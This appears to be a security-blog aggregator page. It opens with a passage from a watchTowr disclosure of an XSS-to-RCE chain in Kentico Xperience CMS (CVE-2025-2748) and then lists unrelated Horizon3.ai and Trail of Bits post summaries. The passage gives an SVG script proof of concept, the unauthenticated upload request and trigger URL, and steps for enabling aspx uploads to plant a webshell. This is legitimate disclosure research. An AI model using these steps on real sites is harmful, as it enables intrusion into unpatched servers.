<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "<http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd>">

<svg version="1.1" baseProfile="full" xmlns="<http://www.w3.org/2000/svg>">
	<polygon id="square" points="0,0 0,50 50,0" fill="#000000" stroke="#000000"/>
	<script type="text/javascript">
		alert('watchTowr');
	</script>
</svg>
  1. Create poc.zip, containing poc.svg
  2. Upload the ZIP file using the ContentUploader handler
POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename=poc.zip&Complete=false HTTP/1.1
Host: hostname
Content-Length: X
Content-Type: application/octet-stream

ZIPCONTENTS
  1. Leverage the GetResource.ashx endpoint to read the SVG file, triggering the XSS, by visiting the following URL:

http://hostname/CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[poc.zip]/poc.svg

You’re left with this satisfying alert - the world is doomed!

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Step 4 - Chaining with Post-Auth RCE

As we discussed earlier, in every CMS, typically by design, there are ways for privileged users to gain Remote Code Execution by design.

For the sake of a simple PoC, we just leveraged an approach involving the upload of a file.

To achieve this, we can modify the list of allowed extensions (Settings → Content → Media) - using all brain cells, we add asp or aspx to the allowed extensions.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

We can also specify the media upload directory in the Media libraries folder.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Once modified, we can just upload a new “media” file to the webroot.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Chain TL;DR

Cross-Site Scripting (XSS) WT-2025-0016 (CVE-2025-2748) relies upon:

  • Unauthenticated resource fetching handler, which allows the retrieval of some basic resources (like images or scripts). It implements a whitelist of extensions to read, but it turned out to be still abusable for the XSS scenarios.
  • Unauthenticated file upload handler, abused to upload and store temporary files.

Post-Authentication Remote Code Execution:

  • We abuse an authenticated and legitimate function provided by the Kentico Xperience CMS to privileged users f0r uploading files, to upload a webshell. CMS solutions are powerful by default and authenticated users typically have by-design RCE capabilities.

Full Chain Demo

To demonstrate all of our findings, below is a video showing the execution of our full chain to gain Remote Code Execution - and execute commands on the host.

If you’re wondering why it takes a painful number of seconds to execute the commands and receive feedback - we were too lazy to implement async handling of XHR requests and we just put sleeps into our PoC (so leave us alone, nerds).
0:00
/0:35

Summary

We hope this was an interesting walk-through and the construction of an interesting exploit chain containing fairly ‘uninteresting’ vulnerabilities to achieve something significantly impactful and painful—Remote Code Execution.

These vulnerabilities were discovered in Kentico Xperience 13 and patched by Kentico in version 13.0.178. Therefore, you should expect to be vulnerable if you're running a version below 13.0.178.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Once again, we want to highlight the professionalism and seriousness with which Kentico handled our reports—ultimately demonstrating a response by a vendor that should give Kentico customers confidence. As we have said before, vulnerabilities are a fact of life in many cases, but how a vendor responds tells their customers a lot about their approach to security in general.

As always, if you want to determine whether your deployment is vulnerable, please review the “Proof of Concept” section of this blog post.

CVE-2025-2748 Timeline

DateDetail
10th February 2025Vulnerability discovered and disclosed to Kentico
10th February 2025watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected
11th February 2025Kentico successfully reproduced the vulnerability
12th February 2025CVE reservation request submitted to MITRE
6th March 2025Vendor releases patch 13.0.178
24th March 2025We asked MITRE to stop processing the CVE, and instead requested VulnCheck (as a CNA) to assign a CVE. CVE-2025-2748 is assigned on the same day.

CVE-2025-3248

9 April 2025 at 20:10

A newly discovered security vulnerability, CVE-2025-3248, has been identified in Langflow, a popular tool used for building agentic AI workflows. This vulnerability poses a severe risk, allowing attackers to gain full control of vulnerable servers without needing authentication. The issue has been patched in Langflow 1.3.0, and all users are strongly advised to upgrade immediately to protect…

Source

Unsafe at Any Speed: Abusing Python Exec for Unauth RCE in Langflow AI

9 April 2025 at 17:44

We discovered an interesting code injection vulnerability, CVE-2025-3248, in Langflow, a popular tool used for building agentic AI workflows. This vulnerability is easily exploitable and enables unauthenticated remote attackers to fully compromise Langflow servers. The issue is patched in Langflow 1.3.0, and we encourage all users to upgrade to the latest version. Note: We are choosing to…

Source

Speed Through Uncertainty: The Find, Fix, Verify Loop for Exposure Management

9 April 2025 at 16:02

Penetration testing is essential for real understanding of cyber risk exposure—but done manually you’re left exposed and uncertain too long. In this tech talk, we’ll show how placing autonomous penetration testing at the core of exposure management makes it possible to test—and retest—as fast as environments change. What you’ll learn How the NodeZero platform equips teams…

Source

NodeZero® Release Recap: Spring Edition

7 April 2025 at 14:51

When you’re on the hook for keeping your organization safe, you need the security tools you rely on to innovate as fast as threat landscapes change. Let’s dive straight into the latest product updates available for NodeZero customers now—and be sure to join our Product team April 22 to see everything live in action. By default, NodeZero Tripwires automatically adds precision…

Source

Horizon3.ai Unveils Vanguard Partner Program to Expand Autonomous Security Services and Revenue for the Channel

3 April 2025 at 13:34

Business Wire 04/03/2025 Horizon3.ai, a leading provider of autonomous security solutions, today announced its Vanguard Partner Program—a global channel initiative designed to help partners build profitable lines of service, deliver measurable outcomes, and lead the market in autonomous security leveraging the NodeZero® Platform. The program will be announced to partners at their inaugural…

Source

There’s More To Our Annual Report: The State of Cybersecurity in 2025

2 April 2025 at 13:45

The Horizon3.ai Annual Insights Report: The State of Cybersecurity in 2025 is packed with data-driven findings about security’s biggest challenges, but not everything made the cut. To keep the report focused, some eye-opening insights from CISOs and IT practitioners had to be left out. This blog highlights those additional findings, exposing critical blind spots, flawed assumptions…

Source

Continuous TRAIL

3 March 2025 at 00:00
You and your team should incrementally update your threat model as your system changes, integrating threat modeling into each phase of your SDLC to create a Threat and Risk Analysis Informed Lifecycle (TRAIL). Here, we cover how to do that: how to further tailor the threat model we built, how to maintain it, when to update it as development continues, and how to make use of it.

Threat modeling the TRAIL of Bits way

28 February 2025 at 00:00
In this blog, we’ll talk about our threat modeling process, TRAIL, which stands for Threat and Risk Analysis Informed Lifecycle. TRAIL enables us to trace and document the impact of flawed trust assumptions and insecure design decisions throughout each client’s system architecture and SDLC. Over time, multiple application security experts have refined TRAIL to provide maximal value for our clients and to minimize the effort required to update the threat model as the system changes.

We’re partnering to strengthen TON’s DeFi ecosystem

13 February 2025 at 09:00
TVM Ventures has selected Trail of Bits as its preferred security partner to strengthen the TON developer ecosystem. Through this partnership, we’ll lead the development of DeFi protocol standards and provide comprehensive security services to contest-winning projects deploying on TON. TVM Ventures will host ongoing developer contests where teams can showcase innovative applications that advance […]

The call for invariant-driven development

12 February 2025 at 09:30
Writing smart contracts requires a higher level of security assurance than most other fields of software engineering. The industry has evolved from simple ERC20 tokens to complex, multi-component DeFi systems that leverage domain-specific algorithms and handle significant monetary value. This evolution has unlocked immense potential but has also introduced an escalating number […]

PyPI now supports archiving projects

30 January 2025 at 09:00
PyPI now supports marking projects as archived. Project owners can now archive their project to let users know that the project is not expected to receive any more updates. Project archival is a single piece in a larger supply-chain security puzzle: by exposing archival statuses, PyPI enables downstream consumers to make more […]

Best practices for key derivation

28 January 2025 at 09:00
Key derivation is essential in many cryptographic applications, including key exchange, key management, secure communications, and building robust cryptographic primitives. But it’s also easy to get wrong: although standard tools exist for different key derivation needs, our audits often uncover improper uses of these tools that could compromise key security. Flickr’s API […]

Celebrating our 2024 open-source contributions

23 January 2025 at 09:00
While Trail of Bits is known for developing security tools like Slither, Medusa, and Fickling, our engineering efforts extend far beyond our own projects. Throughout 2024, our team has been deeply engaged with the broader security ecosystem, tackling challenges in open-source tools and infrastructure that security engineers rely on every day. This year, our engineers […]

Auditing the Ruby ecosystem’s central package repository

11 December 2024 at 09:00
Ruby Central hired Trail of Bits to complete a security assessment and a competitive analysis of RubyGems.org, the official package management system for Ruby applications. With over 184+ billion downloads to date, RubyGems.org is critical infrastructure for the Ruby language ecosystem. This is a joint post with the Ruby Central team; read their announcement here! […]

Evaluating Solidity support in AI coding assistants

19 November 2024 at 09:00
AI-enabled code assistants (like GitHub’s Copilot, Continue.dev, and Tabby) are making software development faster and more productive. Unfortunately, these tools are often bad at Solidity. So we decided to improve them! To make it easier to write, edit, and understand Solidity with AI-enabled tools, we have: Added support for Solidity into Tabby […]

Attestations: A new generation of signatures on PyPI

14 November 2024 at 09:00
For the past year, we’ve worked with the Python Package Index (PyPI) on a new security feature for the Python ecosystem: index-hosted digital attestations, as specified in PEP 740. These attestations improve on traditional PGP signatures (which have been disabled on PyPI) by providing key usability, index verifiability, cryptographic strength, and provenance properties that bring […]

Killing Filecoin nodes

13 November 2024 at 06:00
In January, we identified and reported a vulnerability in the Lotus and Venus clients of the Filecoin network that allowed an attacker to remotely crash a node and trigger a denial of service. This issue is caused by an incorrect validation of an index, resulting in an index out-of-range panic. The vulnerability […]

Fuzzing between the lines in popular barcode software

31 October 2024 at 09:00
Fuzzing—one of the most successful techniques for finding security bugs, consistently featured in articles and industry conferences—has become so popular that you may think most important software has already been extensively fuzzed. But that’s not always the case. In this blog post, we show how we fuzzed the ZBar barcode scanning library […]

A deep dive into Linux’s new mseal syscall

25 October 2024 at 09:00
If you love exploit mitigations, you may have heard of a new system call named mseal landing into the Linux kernel’s 6.10 release, providing a protection called “memory sealing.” Beyond notes from the authors, very little information about this mitigation exists. In this blog post, we’ll explain what this syscall is, including […]
❌